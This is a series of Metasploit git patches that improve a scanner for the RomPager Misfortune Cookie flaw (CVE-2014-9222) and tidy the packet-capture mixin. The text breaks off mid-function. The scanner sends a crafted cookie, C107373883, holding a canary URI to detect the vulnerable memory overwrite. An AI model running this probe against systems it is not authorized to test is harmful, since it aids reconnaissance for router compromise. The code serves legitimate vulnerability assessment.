From 831ba8b470eddfe0b27060f394f66535e991635b Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 9 Jan 2015 12:58:35 -0800 Subject: [PATCH 01/32] Improve (mis)Fortune Cookie (CVE-2014-9222) scanner --- .../allegro_rompager_misfortune_cookie.rb | 124 ++++++++++++++---- 1 file changed, 101 insertions(+), 23 deletions(-) diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index 9b8200b645..74f7ce712d 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -27,38 +27,116 @@ class Metasploit4 < Msf::Auxiliary ], 'References' => [ ['CVE', '2014-9222'], - ['URL', 'http://mis.fortunecook.ie'] + ['URL', 'http://mis.fortunecook.ie'], + ['URL', 'http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices + ['URL', 'http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC ], 'DisclosureDate' => 'Dec 17 2014', 'License' => MSF_LICENSE )) - - register_options([ - OptString.new('TARGETURI', [true, 'Path to fingerprint RomPager from', '/Allegro']) - ], self.class) end - def check_host(ip) - res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s), 'method' => 'GET') - fp = http_fingerprint(response: res) - if /RomPager\/(?[\d\.]+)$/ =~ fp - if Gem::Version.new(version) < Gem::Version.new('4.34') - report_vuln( - host: ip, - port: rport, - name: name, - refs: references - ) - return Exploit::CheckCode::Appears - else - return Exploit::CheckCode::Detected - end - else - return Exploit::CheckCode::Safe + def check_host(_ip) + begin + test_misfortune + ensure + disconnect end end def run_host(ip) - print_good("#{peer} appears to be vulnerable") if check_host(ip) == Exploit::CheckCode::Appears + case check_host(ip) + when Exploit::CheckCode::Appears + print_good("#{peer} is vulnerable") + when Exploit::CheckCode::Detected + print_good("#{peer} uses a vulnerable version") + else + vprint_status("#{peer} is not vulnerable") + end + end + + def find_canary_uri + vprint_status("#{peer} locating suitable canary URI") + 0.upto(4) do + canary = '/' + Rex::Text.rand_text_alpha(16) + res = send_request_cgi('uri' => normalize_uri(canary), 'method' => 'GET') + # in most cases, the canary URI will not exist and will return a 404, but if everything under + # TARGETURI is protected by auth, that may be fine too + return canary if res.code == 401 || res.code == 404 + end + nil + end + + def requires_auth? + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET' + ) + return false unless res + + http_fingerprint(response: res) + if res.code == 401 + vprint_status("#{peer} requires authentication for #{target_uri.path}") + true + else + vprint_status("#{peer} does not require authentication for #{target_uri.path} -- code #{res.code}") + false + end + end + + def test_misfortune + return Exploit::CheckCode::Unknown unless requires_auth? + + # find a usable canary URI (one that 401/404s already) + unless canary = find_canary_uri + vprint_error("#{peer} Unable to find a suitable canary URI") + return Exploit::CheckCode::Unknown + end + + # Make a request containing a malicious cookie with the canary value. + # If that canary shows up in the *body*, they are vulnerable + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET', + 'headers' => { 'Cookie' => "C107373883=#{canary}" } + ) + + unless res + vprint_error("#{peer} no response") + return Exploit::CheckCode::Unknown + end + + # fingerprint because this is useful and also necessary if the canary is not + # in the body + fp = http_fingerprint(response: res) + + unless res.body + vprint_status("#{peer} HTTP code #{res.code} had no body") + return Exploit::CheckCode::Unknown + end + + if res.body.include?(canary) + vprint_good("#{peer} HTTP code #{res.code} response contained canary URI #{canary}") + report_vuln( + host: rhost, + port: rport, + name: name, + refs: references + ) + return Exploit::CheckCode::Appears + end + + vprint_status("#{peer} HTTP code #{res.code} response did not contain canary URI #{canary}") + if /RomPager\/(?[\d\.]+)/ =~ fp + vprint_status("#{peer} is RomPager #{version}") + if Gem::Version.new(version) < Gem::Version.new('4.34') + return Exploit::CheckCode::Detected + end + end + + # TODO: ensure that the canary page doesn't exist in the first place + # (returns a 404), and then ensure that the malcious request with the + # carary in the cookie then returns a 404. + Exploit::CheckCode::Safe end end From b1ca1cc110b094cc66e47d558bfa8cec0c787a82 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 9 Jan 2015 13:20:18 -0800 Subject: [PATCH 02/32] Add back TARGETURI because Exploit::Remote::HttpClient doesn't define one (...) --- .../scanner/http/allegro_rompager_misfortune_cookie.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index 74f7ce712d..dbe4ff027b 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -34,6 +34,12 @@ class Metasploit4 < Msf::Auxiliary 'DisclosureDate' => 'Dec 17 2014', 'License' => MSF_LICENSE )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'URI to test', '/']) + ], Exploit::Remote::HttpClient + ) end def check_host(_ip) From 9491e4c9775d815b9c5f21491fcbadbb39a29434 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 11 Jan 2015 12:10:40 -0800 Subject: [PATCH 03/32] Use send_request_raw; set realistic (and often necessary) Referer --- .../http/allegro_rompager_misfortune_cookie.rb | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index dbe4ff027b..1cb92f0d3f 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -65,7 +65,7 @@ class Metasploit4 < Msf::Auxiliary vprint_status("#{peer} locating suitable canary URI") 0.upto(4) do canary = '/' + Rex::Text.rand_text_alpha(16) - res = send_request_cgi('uri' => normalize_uri(canary), 'method' => 'GET') + res = send_request_raw('uri' => normalize_uri(canary), 'method' => 'GET', 'headers' => headers) # in most cases, the canary URI will not exist and will return a 404, but if everything under # TARGETURI is protected by auth, that may be fine too return canary if res.code == 401 || res.code == 404 @@ -73,10 +73,17 @@ class Metasploit4 < Msf::Auxiliary nil end + def headers + { + 'Referer' => datastore['SSL'] ? 'https' : 'http' + "://#{rhost}:#{rport}" + } + end + def requires_auth? - res = send_request_cgi( + res = send_request_raw( 'uri' => normalize_uri(target_uri.path.to_s), - 'method' => 'GET' + 'method' => 'GET', + 'headers' => headers ) return false unless res @@ -101,10 +108,10 @@ class Metasploit4 < Msf::Auxiliary # Make a request containing a malicious cookie with the canary value. # If that canary shows up in the *body*, they are vulnerable - res = send_request_cgi( + res = send_request_raw( 'uri' => normalize_uri(target_uri.path.to_s), 'method' => 'GET', - 'headers' => { 'Cookie' => "C107373883=#{canary}" } + 'headers' => headers.merge('Cookie' => "C107373883=#{canary}") ) unless res From d4843f46ede07b34ec8f52b5fbbb1ba6eba26bb1 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 11 Jan 2015 12:15:57 -0800 Subject: [PATCH 04/32] Make auth checking optional and off by default --- .../scanner/http/allegro_rompager_misfortune_cookie.rb | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index 1cb92f0d3f..2f6678f867 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -40,6 +40,12 @@ class Metasploit4 < Msf::Auxiliary OptString.new('TARGETURI', [true, 'URI to test', '/']) ], Exploit::Remote::HttpClient ) + + register_advanced_options( + [ + OptBool.new('REQUIRE_AUTH', [true, 'Require that the tested URI require authentication', false]) + ], self.class + ) end def check_host(_ip) @@ -98,7 +104,9 @@ class Metasploit4 < Msf::Auxiliary end def test_misfortune - return Exploit::CheckCode::Unknown unless requires_auth? + if datastore['REQUIRE_AUTH'] + return Exploit::CheckCode::Unknown unless requires_auth? + end # find a usable canary URI (one that 401/404s already) unless canary = find_canary_uri From 9e76e0b0d8c14ec55ebd24f2929fe8fc4d2c7522 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 12 Jan 2015 11:40:17 -0800 Subject: [PATCH 05/32] Simplify. Document. Handle edge cases Simplify detection logic. Document testing method better Ensure that body doesn't include canary cookie name too Use full_uri in prints when possible --- .../allegro_rompager_misfortune_cookie.rb | 131 +++++++++--------- 1 file changed, 67 insertions(+), 64 deletions(-) diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index 2f6678f867..ca0883fd53 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -40,12 +40,6 @@ class Metasploit4 < Msf::Auxiliary OptString.new('TARGETURI', [true, 'URI to test', '/']) ], Exploit::Remote::HttpClient ) - - register_advanced_options( - [ - OptBool.new('REQUIRE_AUTH', [true, 'Require that the tested URI require authentication', false]) - ], self.class - ) end def check_host(_ip) @@ -67,13 +61,29 @@ class Metasploit4 < Msf::Auxiliary end end - def find_canary_uri + def check_response_fingerprint(res, fallback_status) + fp = http_fingerprint(response: res) + if /RomPager\/(?[\d\.]+)/ =~ fp + vprint_status("#{peer} is RomPager #{version}") + if Gem::Version.new(version) < Gem::Version.new('4.34') + return Exploit::CheckCode::Detected + end + end + fallback_status + end + + def find_canary vprint_status("#{peer} locating suitable canary URI") 0.upto(4) do canary = '/' + Rex::Text.rand_text_alpha(16) - res = send_request_raw('uri' => normalize_uri(canary), 'method' => 'GET', 'headers' => headers) - # in most cases, the canary URI will not exist and will return a 404, but if everything under - # TARGETURI is protected by auth, that may be fine too + res = send_request_raw( + 'uri' => normalize_uri(canary), + 'method' => 'GET', + 'headers' => headers + ) + # in most cases, the canary URI will not exist and will return a 404, but + # if everything under TARGETURI is protected by auth, that may be fine + # too return canary if res.code == 401 || res.code == 404 end nil @@ -81,83 +91,76 @@ class Metasploit4 < Msf::Auxiliary def headers { - 'Referer' => datastore['SSL'] ? 'https' : 'http' + "://#{rhost}:#{rport}" + 'Referer' => full_uri } end - def requires_auth? - res = send_request_raw( - 'uri' => normalize_uri(target_uri.path.to_s), - 'method' => 'GET', - 'headers' => headers - ) - return false unless res - - http_fingerprint(response: res) - if res.code == 401 - vprint_status("#{peer} requires authentication for #{target_uri.path}") - true - else - vprint_status("#{peer} does not require authentication for #{target_uri.path} -- code #{res.code}") - false - end - end - + # To test for this vulnerability, we must first find a URI known to return + # a 404 (not found) which we will use as a canary. This URI (for example, + # /foo) is then taken and used as the value for a carefully crafted cookie + # when making a request to the configured host+port+uri. If the response + # is a 404 and the body includes the canary, it is likely that the cookie + # overwrote RomPager's concept of the requested URI, indicating that it is + # vulnerable. def test_misfortune - if datastore['REQUIRE_AUTH'] - return Exploit::CheckCode::Unknown unless requires_auth? - end - - # find a usable canary URI (one that 401/404s already) - unless canary = find_canary_uri + # find a usable canary URI (one that returns a 404 already) + unless (canary_value = find_canary) vprint_error("#{peer} Unable to find a suitable canary URI") return Exploit::CheckCode::Unknown end - # Make a request containing a malicious cookie with the canary value. - # If that canary shows up in the *body*, they are vulnerable + canary_cookie_name = 'C107373883' + canary_cookie = canary_cookie_name + "=#{canary_value};" + + # Make a request containing a specific canary cookie name with the value set + # from the suitable canary value found above. res = send_request_raw( 'uri' => normalize_uri(target_uri.path.to_s), 'method' => 'GET', - 'headers' => headers.merge('Cookie' => "C107373883=#{canary}") + 'headers' => headers.merge('Cookie' => canary_cookie) ) unless res - vprint_error("#{peer} no response") + vprint_error("#{full_uri} no response") return Exploit::CheckCode::Unknown end - # fingerprint because this is useful and also necessary if the canary is not - # in the body - fp = http_fingerprint(response: res) + unless res.code == 404 + vprint_status("#{full_uri} unexpected HTTP code #{res.code} response") + return check_response_fingerprint(res, Exploit::CheckCode::Unknown) + end unless res.body - vprint_status("#{peer} HTTP code #{res.code} had no body") - return Exploit::CheckCode::Unknown + vprint_status("#{full_uri} HTTP code #{res.code} had no body") + return check_response_fingerprint(res, Exploit::CheckCode::Unknown) end - if res.body.include?(canary) - vprint_good("#{peer} HTTP code #{res.code} response contained canary URI #{canary}") - report_vuln( - host: rhost, - port: rport, - name: name, - refs: references - ) - return Exploit::CheckCode::Appears - end - - vprint_status("#{peer} HTTP code #{res.code} response did not contain canary URI #{canary}") - if /RomPager\/(?[\d\.]+)/ =~ fp - vprint_status("#{peer} is RomPager #{version}") - if Gem::Version.new(version) < Gem::Version.new('4.34') - return Exploit::CheckCode::Detected + # If that canary *value* shows up in the *body*, then there are two possibilities: + # + # 1) If the canary cookie *name* is also in the *body*, it is likely that + # the endpoint is puppeting back our request to some extent and therefore + # it is expected that the canary cookie *value* would also be there. + # return Exploit::CheckCode::Unknown + # + # 2) If the canary cookie *name* is *not* in the *body*, return + # Exploit::CheckCode::Appears + if res.body.include?(canary_value) + if res.body.include?(canary_cookie_name) + vprint_status("#{full_uri} HTTP code #{res.code} response contained test cookie name #{canary_cookie_name}") + return check_response_fingerprint(res, Exploit::CheckCode::Unknown) + else + vprint_good("#{full_uri} HTTP code #{res.code} response contained canary cookie value #{canary_value} as URI") + report_vuln( + host: rhost, + port: rport, + name: name, + refs: references + ) + return Exploit::CheckCode::Appears end end - # TODO: ensure that the canary page doesn't exist in the first place - # (returns a 404), and then ensure that the malcious request with the - # carary in the cookie then returns a 404. - Exploit::CheckCode::Safe + vprint_status("#{full_uri} HTTP code #{res.code} response did not contain canary cookie value #{canary_value} as URI") + check_response_fingerprint(res, Exploit::CheckCode::Safe) end end From 1f6defda73421da657429f796da75c40e12f4f55 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 14 Jan 2015 13:10:35 -0800 Subject: [PATCH 06/32] Use more correct check codes --- .../allegro_rompager_misfortune_cookie.rb | 26 +++++++++++-------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index ca0883fd53..a4d533cd89 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -51,22 +51,26 @@ class Metasploit4 < Msf::Auxiliary end def run_host(ip) - case check_host(ip) + status = check_host(ip) + case status when Exploit::CheckCode::Appears - print_good("#{peer} is vulnerable") when Exploit::CheckCode::Detected - print_good("#{peer} uses a vulnerable version") + when Exploit::CheckCode::Vulnerable + print_good("#{peer} #{status.last}") else vprint_status("#{peer} is not vulnerable") end end + # Fingerprints the provided HTTP response and returns + # Exploit::CheckCode::Appears if it is a vulnerable version of RomPager, + # otherwise returns the provided fall-back status. def check_response_fingerprint(res, fallback_status) fp = http_fingerprint(response: res) if /RomPager\/(?[\d\.]+)/ =~ fp vprint_status("#{peer} is RomPager #{version}") if Gem::Version.new(version) < Gem::Version.new('4.34') - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears end end fallback_status @@ -84,7 +88,7 @@ class Metasploit4 < Msf::Auxiliary # in most cases, the canary URI will not exist and will return a 404, but # if everything under TARGETURI is protected by auth, that may be fine # too - return canary if res.code == 401 || res.code == 404 + return canary if res && (res.code == 401 || res.code == 404) end nil end @@ -127,12 +131,12 @@ class Metasploit4 < Msf::Auxiliary unless res.code == 404 vprint_status("#{full_uri} unexpected HTTP code #{res.code} response") - return check_response_fingerprint(res, Exploit::CheckCode::Unknown) + return check_response_fingerprint(res, Exploit::CheckCode::Detected) end unless res.body vprint_status("#{full_uri} HTTP code #{res.code} had no body") - return check_response_fingerprint(res, Exploit::CheckCode::Unknown) + return check_response_fingerprint(res, Exploit::CheckCode::Detected) end # If that canary *value* shows up in the *body*, then there are two possibilities: @@ -140,14 +144,14 @@ class Metasploit4 < Msf::Auxiliary # 1) If the canary cookie *name* is also in the *body*, it is likely that # the endpoint is puppeting back our request to some extent and therefore # it is expected that the canary cookie *value* would also be there. - # return Exploit::CheckCode::Unknown + # return Exploit::CheckCode::Detected # # 2) If the canary cookie *name* is *not* in the *body*, return - # Exploit::CheckCode::Appears + # Exploit::CheckCode::Vulnerable if res.body.include?(canary_value) if res.body.include?(canary_cookie_name) vprint_status("#{full_uri} HTTP code #{res.code} response contained test cookie name #{canary_cookie_name}") - return check_response_fingerprint(res, Exploit::CheckCode::Unknown) + return check_response_fingerprint(res, Exploit::CheckCode::Detected) else vprint_good("#{full_uri} HTTP code #{res.code} response contained canary cookie value #{canary_value} as URI") report_vuln( @@ -156,7 +160,7 @@ class Metasploit4 < Msf::Auxiliary name: name, refs: references ) - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Vulnerable end end From 4641b0264629f343fb1c1a9ce96ec04832495239 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 15 Jan 2015 12:05:10 -0800 Subject: [PATCH 07/32] Base canary path from TARGET_URI --- .../scanner/http/allegro_rompager_misfortune_cookie.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index a4d533cd89..66d1ce0e90 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -79,7 +79,7 @@ class Metasploit4 < Msf::Auxiliary def find_canary vprint_status("#{peer} locating suitable canary URI") 0.upto(4) do - canary = '/' + Rex::Text.rand_text_alpha(16) + canary = target_uri.path.to_s + '/' + Rex::Text.rand_text_alpha(16) res = send_request_raw( 'uri' => normalize_uri(canary), 'method' => 'GET', From 3489ea540ec4cd2aaec5a63cc5fb56f0ba5a93a1 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 15 Jan 2015 12:22:16 -0800 Subject: [PATCH 08/32] Make status code checking configurable --- .../allegro_rompager_misfortune_cookie.rb | 20 ++++++++++++++----- 1 file changed, 15 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index 66d1ce0e90..c93f89f39d 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -40,6 +40,12 @@ class Metasploit4 < Msf::Auxiliary OptString.new('TARGETURI', [true, 'URI to test', '/']) ], Exploit::Remote::HttpClient ) + + register_advanced_options( + [ + OptString.new('STATUS_CODES_REGEX', [true, 'Ensure that canary pages and probe responses have status codes that match this regex', '^4\d{3}$']) + ], self.class + ) end def check_host(_ip) @@ -62,6 +68,10 @@ class Metasploit4 < Msf::Auxiliary end end + def setup + @status_codes_regex = Regexp.new(datastore['STATUS_CODES_REGEX']) + end + # Fingerprints the provided HTTP response and returns # Exploit::CheckCode::Appears if it is a vulnerable version of RomPager, # otherwise returns the provided fall-back status. @@ -86,9 +96,9 @@ class Metasploit4 < Msf::Auxiliary 'headers' => headers ) # in most cases, the canary URI will not exist and will return a 404, but - # if everything under TARGETURI is protected by auth, that may be fine - # too - return canary if res && (res.code == 401 || res.code == 404) + # if everything under TARGETURI is protected by auth, a 401 may be OK too. + # but, regardless, respect the configuration set for this module + return canary if res && res.code.to_s =~ @status_codes_regex end nil end @@ -107,7 +117,7 @@ class Metasploit4 < Msf::Auxiliary # overwrote RomPager's concept of the requested URI, indicating that it is # vulnerable. def test_misfortune - # find a usable canary URI (one that returns a 404 already) + # find a usable canary URI (one that returns an acceptable status code already) unless (canary_value = find_canary) vprint_error("#{peer} Unable to find a suitable canary URI") return Exploit::CheckCode::Unknown @@ -129,7 +139,7 @@ class Metasploit4 < Msf::Auxiliary return Exploit::CheckCode::Unknown end - unless res.code == 404 + unless res.code.to_s =~ @status_codes_regex vprint_status("#{full_uri} unexpected HTTP code #{res.code} response") return check_response_fingerprint(res, Exploit::CheckCode::Detected) end From 2dca18265ee4258c4b4bd75794f130fa65dc3111 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 15 Jan 2015 12:34:53 -0800 Subject: [PATCH 09/32] Track and vprint canary value and code --- .../scanner/http/allegro_rompager_misfortune_cookie.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index c93f89f39d..d28eab2f38 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -98,7 +98,7 @@ class Metasploit4 < Msf::Auxiliary # in most cases, the canary URI will not exist and will return a 404, but # if everything under TARGETURI is protected by auth, a 401 may be OK too. # but, regardless, respect the configuration set for this module - return canary if res && res.code.to_s =~ @status_codes_regex + return [canary, res.code] if res && res.code.to_s =~ @status_codes_regex end nil end @@ -118,7 +118,10 @@ class Metasploit4 < Msf::Auxiliary # vulnerable. def test_misfortune # find a usable canary URI (one that returns an acceptable status code already) - unless (canary_value = find_canary) + if canary = find_canary + canary_value, canary_code = canary + vprint_status("#{peer} canary URI #{canary_value} with code #{canary_code}") + else vprint_error("#{peer} Unable to find a suitable canary URI") return Exploit::CheckCode::Unknown end From d68b62cf21ee349246cd96340d18543d7736fa87 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 15 Jan 2015 13:12:32 -0800 Subject: [PATCH 10/32] Make canary value (URI) configurable --- .../http/allegro_rompager_misfortune_cookie.rb | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index d28eab2f38..ba250f08ca 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -43,7 +43,8 @@ class Metasploit4 < Msf::Auxiliary register_advanced_options( [ - OptString.new('STATUS_CODES_REGEX', [true, 'Ensure that canary pages and probe responses have status codes that match this regex', '^4\d{3}$']) + OptString.new('CANARY_URI', [false, 'Try overwriting the requested URI with this canary value (empty for random)']), + OptString.new('STATUS_CODES_REGEX', [true, 'Ensure that canary pages and probe responses have status codes that match this regex', '^4\d{2}$']) ], self.class ) end @@ -88,8 +89,15 @@ class Metasploit4 < Msf::Auxiliary def find_canary vprint_status("#{peer} locating suitable canary URI") - 0.upto(4) do - canary = target_uri.path.to_s + '/' + Rex::Text.rand_text_alpha(16) + canaries = [] + if datastore['CANARY_URI'] + canaries << datastore['CANARY_URI'] + else + # several random URIs in the hopes that one, generally the first, will be usable + 0.upto(4) { canaries << '/' + Rex::Text.rand_text_alpha(16) } + end + + canaries.each do |canary| res = send_request_raw( 'uri' => normalize_uri(canary), 'method' => 'GET', @@ -120,7 +128,7 @@ class Metasploit4 < Msf::Auxiliary # find a usable canary URI (one that returns an acceptable status code already) if canary = find_canary canary_value, canary_code = canary - vprint_status("#{peer} canary URI #{canary_value} with code #{canary_code}") + vprint_status("#{peer} found canary URI #{canary_value} with code #{canary_code}") else vprint_error("#{peer} Unable to find a suitable canary URI") return Exploit::CheckCode::Unknown From 14fc8d4cd02aeb1de7248f4b284fac1671033f7b Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 20 Jan 2015 13:36:06 -0800 Subject: [PATCH 11/32] Only allow 401/403/404 --- .../scanner/http/allegro_rompager_misfortune_cookie.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index ba250f08ca..44ec02ba1d 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -44,7 +44,7 @@ class Metasploit4 < Msf::Auxiliary register_advanced_options( [ OptString.new('CANARY_URI', [false, 'Try overwriting the requested URI with this canary value (empty for random)']), - OptString.new('STATUS_CODES_REGEX', [true, 'Ensure that canary pages and probe responses have status codes that match this regex', '^4\d{2}$']) + OptString.new('STATUS_CODES_REGEX', [true, 'Ensure that canary pages and probe responses have status codes that match this regex', '^40[134]$']) ], self.class ) end From a5e14d586934be7601496249ba1eb95c03fae226 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 20 Jan 2015 13:55:48 -0800 Subject: [PATCH 12/32] Use checkcode status text when not obviously vulnerable, more consistent text --- .../scanner/http/allegro_rompager_misfortune_cookie.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index 44ec02ba1d..2d2c880280 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -65,7 +65,7 @@ class Metasploit4 < Msf::Auxiliary when Exploit::CheckCode::Vulnerable print_good("#{peer} #{status.last}") else - vprint_status("#{peer} is not vulnerable") + vprint_status("#{peer} #{status.last}") end end @@ -171,7 +171,7 @@ class Metasploit4 < Msf::Auxiliary # Exploit::CheckCode::Vulnerable if res.body.include?(canary_value) if res.body.include?(canary_cookie_name) - vprint_status("#{full_uri} HTTP code #{res.code} response contained test cookie name #{canary_cookie_name}") + vprint_status("#{full_uri} HTTP code #{res.code} response contained canary cookie name #{canary_cookie_name}") return check_response_fingerprint(res, Exploit::CheckCode::Detected) else vprint_good("#{full_uri} HTTP code #{res.code} response contained canary cookie value #{canary_value} as URI") From 615d71de6e80bf36ce1e3f138b35b1293e2bfa64 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 22 Feb 2015 21:51:33 -0600 Subject: [PATCH 13/32] Remove extraneous calls to GC.start() --- lib/msf/core/exploit/ipv6.rb | 1 - modules/auxiliary/spoof/arp/arp_poisoning.rb | 1 - 2 files changed, 2 deletions(-) diff --git a/lib/msf/core/exploit/ipv6.rb b/lib/msf/core/exploit/ipv6.rb index 8a7545381c..7102adcea1 100644 --- a/lib/msf/core/exploit/ipv6.rb +++ b/lib/msf/core/exploit/ipv6.rb @@ -76,7 +76,6 @@ module Exploit::Remote::Ipv6 return if not @ipv6_icmp6_capture @ipv6_icmp6_capture = nil - GC.start() end # diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index 0cc60e78a5..54ab2e215a 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -103,7 +103,6 @@ class Metasploit3 < Msf::Auxiliary if datastore['LISTENER'] @listener.kill if @listener - GC.start() end if capture and @spoofing and not datastore['BROADCAST'] From bdd52765244fda66556191630d07928308c1d2d9 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 22 Feb 2015 21:53:47 -0600 Subject: [PATCH 14/32] This fixes a number of issues with the Capture mixin * The use of www.metasploit.com in a datastore option results in a DNS lookup (infoleak). Switch to 8.8.8.8 (TTL=1) * The hackey code around #each_packet is no longer necessary in newer Ruby versions * The arp()/probe_gateway() calls to inject_reply() had broken logic leading to early exit and missed replies * The arp() function now tries up to three times to get a reply (helpful with lossy L2) * GC.start is extraneous and should be removed * Increased timeouts --- lib/msf/core/exploit/capture.rb | 102 ++++++++++++++------------------ 1 file changed, 44 insertions(+), 58 deletions(-) diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index 1f76773a49..a7eeabb910 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -42,7 +42,7 @@ module Msf [ true, 'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC', - 'www.metasploit.com']), + '8.8.8.8']), OptPort.new('GATEWAY_PROBE_PORT', [ false, @@ -143,7 +143,6 @@ module Msf return unless self.capture self.capture = nil self.arp_capture = nil - GC.start() end def capture_extract_ies(raw) @@ -163,26 +162,14 @@ module Msf end # - # This monstrosity works around a series of bugs in the interrupt - # signal handling of Ruby 1.9 + # Loop through each packet # def each_packet return unless capture - begin - @capture_count = 0 - reader = framework.threads.spawn("PcapReceiver", false) do - capture.each do |pkt| - yield(pkt) - @capture_count += 1 - end - end - reader.join - rescue ::Exception - raise $! - ensure - reader.kill if reader.alive? + capture.each do |pkt| + yield(pkt) + @capture_count += 1 end - @capture_count end @@ -242,10 +229,9 @@ module Msf pcap.inject(pkt) Rex.sleep((delay * 1.0)/1000) end - GC.start end - # Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires + # capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires # a payload and a destination address. To send to the broadcast address, set bcast # to true (this will guarantee that packets will be sent even if ARP doesn't work # out). @@ -262,24 +248,20 @@ module Msf # The return value either be a PacketFu::Packet object, or nil def inject_reply(proto=:udp, 